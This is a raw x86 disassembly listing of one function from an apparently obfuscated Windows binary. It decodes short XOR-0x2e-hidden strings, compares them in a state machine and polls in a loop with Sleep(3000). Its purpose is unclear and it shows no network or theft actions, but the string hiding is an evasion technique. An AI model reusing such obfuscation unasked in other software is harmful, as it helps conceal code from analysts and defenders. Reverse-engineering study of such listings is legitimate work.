je 0x408e4a
xor byte [0x43aed4], 0x2e
xor byte [0x43aed5], 0x2e
xor al, 0x2e
mov byte [0x43aed6], al
mov ecx, 0x43aed4
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408e67
sub ecx, edx
push ecx
push 0x43aed4
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
mov eax, dword [0x43ac60]
mov word [ebp - 0x1c], 0x2e6b
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x74], xmm0
cmp eax, dword [esi + 4]
jle 0x408ee0
push 0x43ac60
call fcn.0040e91c
add esp, 4
cmp dword [0x43ac60], 0xffffffff
jne 0x408ee0
mov ax, word [ebp - 0x1c]
push 0x4297c0
mov word [0x43ad58], ax
call fcn.0040ed43
add esp, 4
push 0x43ac60
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ad59]
test al, al
je 0x408ef7
xor byte [0x43ad58], 0x2e
xor al, 0x2e
mov byte [0x43ad59], al
mov ecx, 0x43ad58
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408f14
sub ecx, edx
push ecx
push 0x43ad58
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
mov eax, dword [0x43ae18]
mov dword [ebp - 0x24], 0x40415d5b
movups xmmword [ebp - 0x9c], xmm0
mov word [ebp - 0x20], 0x2e4b
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x8c], xmm0
cmp eax, dword [esi + 4]
jle 0x408f9f
push 0x43ae18
call fcn.0040e91c
add esp, 4
cmp dword [0x43ae18], 0xffffffff
jne 0x408f9f
mov eax, dword [ebp - 0x24]
mov dword [0x43af20], eax
mov ax, word [ebp - 0x20]
push 0x4297b0
mov word [0x43af24], ax
call fcn.0040ed43
add esp, 4
push 0x43ae18
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43af25]
test al, al
je 0x408fd2
xor byte [0x43af20], 0x2e
xor byte [0x43af21], 0x2e
xor byte [0x43af22], 0x2e
xor byte [0x43af23], 0x2e
xor byte [0x43af24], 0x2e
xor al, 0x2e
mov byte [0x43af25], al
mov ecx, 0x43af20
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408ff0
sub ecx, edx
push ecx
push 0x43af20
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x409068
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x40905e
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
add esp, 8
cmp dword [ebp - 0x18], 0
mov eax, dword [esi + 4]
jne 0x409167
mov dword [ebp - 0x18], 0x2e4b4041
cmp dword [0x43af54], eax
jle 0x4090bf
push 0x43af54
call fcn.0040e91c
add esp, 4
cmp dword [0x43af54], 0xffffffff
jne 0x4090bf
mov eax, dword [ebp - 0x18]
push 0x4297a0
mov dword [0x43afec], eax
call fcn.0040ed43
add esp, 4
push 0x43af54
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43afef]
test al, al
je 0x4090e4
xor byte [0x43afec], 0x2e
xor byte [0x43afed], 0x2e
xor byte [0x43afee], 0x2e
xor al, 0x2e
mov byte [0x43afef], al
mov ecx, 0x43afec
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409101
sub ecx, edx
push ecx
push 0x43afec
lea ecx, [ebp - 0x3c]
call fcn.00402400
mov edx, dword [ebp - 0x58]
cmp edx, 0x10
jb 0x408cac
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409146
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push edx
push ecx
call fcn.0040e7d3
movups xmm0, xmmword [ebp - 0x3c]
add esp, 8
movups xmmword [ebp - 0x6c], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x5c], xmm0
jmp 0x4096e2
mov dword [ebp - 0x24], 0x595a5d5b
mov word [ebp - 0x20], 0x2e41
cmp dword [0x43ae8c], eax
jle 0x4091be
push 0x43ae8c
call fcn.0040e91c
add esp, 4
cmp dword [0x43ae8c], 0xffffffff
jne 0x4091be
mov eax, dword [ebp - 0x24]
mov dword [0x43ae04], eax
mov ax, word [ebp - 0x20]
push 0x429790
mov word [0x43ae08], ax
call fcn.0040ed43
add esp, 4
push 0x43ae8c
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ae09]
test al, al
je 0x4091f1
xor byte [0x43ae04], 0x2e
xor byte [0x43ae05], 0x2e
xor byte [0x43ae06], 0x2e
xor byte [0x43ae07], 0x2e
xor byte [0x43ae08], 0x2e
xor al, 0x2e
mov byte [0x43ae09], al
mov ecx, 0x43ae04
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409210
sub ecx, edx
push ecx
push 0x43ae04
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x40928b
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x40927e
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
mov eax, dword [ebp - 0x18]
add esp, 8
test eax, eax
jne 0x4096e2
mov eax, dword [0x43ac4c]
mov dword [ebp - 0x18], 0x2e41595a
cmp eax, dword [esi + 4]
jle 0x4092df
push 0x43ac4c
call fcn.0040e91c
add esp, 4
cmp dword [0x43ac4c], 0xffffffff
jne 0x4092df
mov eax, dword [ebp - 0x18]
push 0x429780
mov dword [0x43aeb0], eax
call fcn.0040ed43
add esp, 4
push 0x43ac4c
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43aeb3]
test al, al
je 0x409304
xor byte [0x43aeb0], 0x2e
xor byte [0x43aeb1], 0x2e
xor byte [0x43aeb2], 0x2e
xor al, 0x2e
mov byte [0x43aeb3], al
mov ecx, 0x43aeb0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409321
sub ecx, edx
push ecx
push 0x43aeb0
lea ecx, [ebp - 0x3c]
call fcn.00402400
mov edx, dword [ebp - 0x58]
cmp edx, 0x10
jb 0x408cac
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408ca2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408ca2
call fcn.00412da7
mov dword [ebp - 0x24], 0x4b404740
cmp dword [0x43ac44], eax
jle 0x4093be
push 0x43ac44
call fcn.0040e91c
add esp, 4
cmp dword [0x43ac44], 0xffffffff
jne 0x4093be
mov eax, dword [ebp - 0x24]
mov dword [0x43af4c], eax
mov al, byte [ebp - 0x19]
push 0x429760
mov byte [0x43af50], al
call fcn.0040ed43
add esp, 4
push 0x43ac44
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43af50]
test al, al
je 0x4093ea
xor byte [0x43af4c], 0x2e
xor byte [0x43af4d], 0x2e
xor byte [0x43af4e], 0x2e
xor byte [0x43af4f], 0x2e
xor al, 0x2e
mov byte [0x43af50], al
push 0x43af4c
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
call fcn.00402160
push ecx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebx + 8]
call fcn.0040bc50
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00402190
test esi, esi
jne 0x409525
call fcn.00409980
mov ecx, eax
call fcn.0040bab0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x84]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.00409a00
mov ecx, eax
call fcn.0040ba90
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x9c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.00409a80
mov ecx, eax
call fcn.0040ba70
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x6c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.00409b00
mov ecx, eax
call fcn.0040bb00
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040bc50
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00402190
test esi, esi
jne 0x4094ed
call fcn.00409b90
mov ecx, eax
call fcn.0040bab0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
lea ecx, [ebp - 0x6c]
jmp 0x4096d4
call fcn.00409c10
mov ecx, eax
call fcn.0040bb00
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040bc50
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00402190
test esi, esi
jne 0x4096e2
call fcn.00409ca0
jmp 0x4094d5
call fcn.00409d20
mov ecx, eax
call fcn.0040ba40
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040bc50
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00402190
test esi, esi
jne 0x4095af
call fcn.00409db0
mov ecx, eax
call fcn.0040ba90
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x9c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.00409e30
mov ecx, eax
call fcn.0040bad0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x6c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.00409ec0
jmp 0x4096be
call fcn.00409f40
mov ecx, eax
call fcn.0040bad0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040bc50
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00402190
test esi, esi
jne 0x409639
call fcn.00409fd0
mov ecx, eax
call fcn.0040ba90
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x9c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.0040a050
mov ecx, eax
call fcn.0040bab0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x6c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.0040a0d0
jmp 0x4096be
call fcn.0040a150
mov ecx, eax
call fcn.0040ba70
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040bc50
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00402190
test esi, esi
jne 0x4096e2
call fcn.0040a1d0
mov ecx, eax
call fcn.0040ba90
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x9c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.0040a250
mov ecx, eax
call fcn.0040bab0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x6c]
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
call fcn.0040a2d0
mov ecx, eax
call fcn.0040ba70
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402260
lea ecx, [ebp - 0x84]
push eax
call fcn.004021e0
lea ecx, [ebp - 0x3c]
call fcn.00402190
cmp dword [ebp - 0x364], 0
je 0x4096f8
push 0x435a4c
lea ecx, [ebp - 0x6c]
call fcn.00402160
cmp dword [ebp - 0x368], 0
je 0x40970e
push 0x435a50
lea ecx, [ebp - 0x6c]
call fcn.00402160
sub esp, 0x10
lea ecx, [ebp - 0x360]
push 0x435a20
call fcn.00401680
mov byte [ebp - 4], 0xc
call fcn.0040a470
mov ecx, eax
call fcn.0040bad0
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00402260
mov esi, eax
mov byte [ebp - 4], 0xd
call fcn.0040a3f0
mov ecx, eax
call fcn.0040bab0
push eax
lea ecx, [ebp - 0x3e0]
call fcn.00402260
mov edi, eax
mov byte [ebp - 4], 0xe
call fcn.0040a350
cmp byte [eax + 0x15], 0
je 0x40978c
movups xmm0, xmmword [eax]
mov ecx, 0x10
movaps xmm1, xmmword [str.................e]
pxor xmm1, xmm0
movups xmmword [eax], xmm1
xor byte [ecx + eax], 0x2e
inc ecx
cmp ecx, 0x16
jb 0x409782
push eax
lea ecx, [ebp - 0x3c8]
call fcn.00402260
push eax
mov edx, 0x43abec
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3b0]
call fcn.0040c400
add esp, 4
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x10
push ecx
mov edx, eax
lea ecx, [ebp - 0x398]
call fcn.0040c460
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x380]
call fcn.0040c510
add esp, 4
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x12
push ecx
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.0040c460
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xb4]
call fcn.0040c510
add esp, 4
lea ecx, [ebx + 0x20]
mov byte [ebp - 4], 0x14
push ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.0040c460
add esp, 4
lea ecx, [ebp - 0xb4]
call fcn.00402190
lea ecx, [ebp - 0x54]
call fcn.00402190
lea ecx, [ebp - 0x380]
call fcn.00402190
lea ecx, [ebp - 0x398]
call fcn.00402190
lea ecx, [ebp - 0x3b0]
call fcn.00402190
lea ecx, [ebp - 0x3c8]
call fcn.00402190
lea ecx, [ebp - 0x3e0]
call fcn.00402190
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0x1d
call fcn.00402190
nop dword [eax + eax]
lea ecx, [ebp - 0xcc]
call fcn.00402150
push eax
lea ecx, [ebp - 0x360]
call fcn.00402020
test eax, eax
je 0x4098eb
mov eax, dword [ebp - 0x338]
xor ecx, ecx
cmp dword [ebp - 0x32c], ecx
cmove eax, ecx
lea ecx, [ebp - 0x3c]
push eax
call fcn.00402260
mov edx, 0x435a40
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x3c]
call fcn.00402550
test al, al
jne 0x40807e
mov edx, 0x435a20
lea ecx, [ebp - 0x3c]
call fcn.00402550
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x3c]
test al, al
jne 0x4098f8
call fcn.00402190
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409880
call fcn.00402190
sub esp, 0x18
lea eax, [ebp - 0x9c]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.0040be30
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x43ac04
call fcn.0040be30
sub esp, 0x18
mov byte [ebp - 4], 0x20
mov ecx, esp
push 0x43ac1c
call fcn.0040be30
cmp dword [ebp - 0x368], 0
mov byte [ebp - 4], 0x1d
setne dl
cmp dword [ebp - 0x364], 0
setne cl
call fcn.004071d0
add esp, 0x30
mov ecx, esp
push 0x43abd4
call fcn.0040be30
call fcn.00406070
add esp, 0x18
call fcn.00404fe0
int3